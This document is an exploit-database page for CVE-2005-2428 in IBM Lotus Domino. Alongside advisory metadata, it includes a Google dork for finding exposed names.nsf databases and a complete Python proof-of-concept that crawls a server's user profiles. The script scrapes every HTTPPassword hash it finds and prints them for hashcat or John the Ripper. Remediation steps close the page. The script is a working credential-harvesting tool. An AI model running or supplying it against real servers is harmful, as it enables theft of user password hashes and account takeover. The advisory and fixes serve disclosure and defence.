header-logo
Suggest Exploit
vendor:
Lotus Domino
by:
Jonathan Broche
7,5
CVSS
HIGH
Password Hash Extraction
200
CWE
Product Name: Lotus Domino
Affected Version From: Lotus Domino 8.5
Affected Version To: Lotus Domino 8.5
Patch Exists: YES
Related CWE: CVE-2005-2428
CPE: a:ibm:lotus_domino
Metasploit: N/A
Other Scripts: N/A
Tags: domino,edb,cve,cve2005
CVSS Metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
Nuclei Metadata: {'max-request': 1, 'vendor': 'ibm', 'product': 'lotus_domino'}
Platforms Tested: Lotus Domino 8.5
2016

IBM Lotus Domino <= R8 Password Hash Extraction Exploit

Lotus Domino R5 and R6 WebMail with 'Generate HTML for all fields' enabled (which is by default) allows remote attackers to read the HTML source to obtain sensitive information including the password hash in the HTTPPassword field, the password change date in the HTTPPasswordChangeDate field, and the client Lotus Domino release in the ClntBld field (a different vulnerability than CVE-2005-2696).

Mitigation:

Ensure that the names.nsf database is not publicly accessible.
Source

Exploit-DB raw data:

# Exploit Title: IBM Lotus Domino <= R8 Password Hash Extraction Exploit
# Google Dork: inurl:names.nsf?opendatabase
# Date: 02-24-2016
# Exploit Author: Jonathan Broche
# Contact: https://twitter.com/g0jhonny
# Vendor Homepage: https://www-01.ibm.com/software/lotus/category/messaging/
# Tested on: Lotus Domino 8.5
# CVE : CVE-2005-2428

1. Description

IBM Domino Databases contain a configuration issue allowing users to obtain password hashes, configuraiton information and more from the Public Address Book (i.e., names.nsf database). Password hashes are obtained from the hidden HTML HTTPPassword and dspHTTPPassword fields per user in the database.

2. Proof of Concept

#!/usr/bin/env python2

import requests, re, BeautifulSoup, sys, argparse, os
requests.packages.urllib3.disable_warnings()


parser = argparse.ArgumentParser(description='Domino Effect - A Lotus Domino password hash tool by Jonathan Broche (@g0jhonny)', version="1.0")
parser.add_argument('system', help="IP address or hostname to harvest hashes from. ")
parser.add_argument('-u', '--uri', metavar='path', default="/names.nsf", help="Path to the names.nsf file. [Default: /names.nsf]")
outgroup = parser.add_argument_group(title="Output Options")
outgroup.add_argument('--hashcat', action='store_true',  help="Print results for use with hashcat.")
outgroup.add_argument('--john', action='store_true', help="Print results for use with John the Ripper.")

if len(sys.argv) == 1:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()
print "\nDomino Effect {}\n".format(parser.version)

headers={'User-Agent':'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'}


try:
    response = requests.get("https://{}{}/People?OpenView".format(args.system, args.uri), verify=False, headers=headers, timeout=3)
except requests.exceptions.Timeout as e:
    print "[!] Timed out, try again."
    sys.exit(1)
except Exception as e:
        print e

soup = BeautifulSoup.BeautifulSoup(response.text)

links = []

#grab all user profile links
for link in soup.findAll('a'):
    if "OpenDocument" in link['href']:
        if link['href'] not in links:
	        links.append(link['href'])

hashes = {}
for link in links: #get user profile
    try:
        response = requests.get("https://{}{}".format(args.system, link), verify=False, headers=headers, timeout=2)
    except requests.exceptions.Timeout as e:
        pass
    except Exception as e:
        print e

    if response.text:
        soup = BeautifulSoup.BeautifulSoup(response.text)

        name = soup.find('input', {'name' : '$dspShortName'}).get('value').strip() #short name
        httppassword = soup.find('input', { "name" : "HTTPPassword"}).get('value').strip()
        dsphttppassword = soup.find('input', { "name" : "dspHTTPPassword"}).get('value').strip()
        
        if httppassword and httppassword not in hashes.keys():
            hashes[httppassword] = name
        elif dsphttppassword and dsphttppassword not in hashes.keys():
            hashes[dsphttppassword] = name      

if hashes: #output
    if args.hashcat or args.john:
        if args.hashcat:
            for h in hashes.keys():
                print h
        if args.john:
            for h, n in hashes.items():
                print "{}:{}".format(n,h)
    else:
        for h, n in hashes.items():
            print "[*] User: {} Hash: {}".format(n, h)


print "\n{} hashes obtained\n".format(len(hashes))

3. Solution

To hide the HTTP password from the HTML source: 

1) Open the $PersonalInheritableSchema subform (In the designer under Shared Code, Subforms).
2) Find the fields: $dspHTTPPassword and HTTPPassword.
3) In the field properties for both fields, on the hide tab under "Hide paragram from" check off "Web browsers".
4) Open the Person form (Under Forms).
5) In the form properties, on the 2nd tab, disable the option "Generate HTML for all fields".

In addition, ensure proper firewalls are in place within your environment to prevent public exposure of the names.nsf database and other senstive files.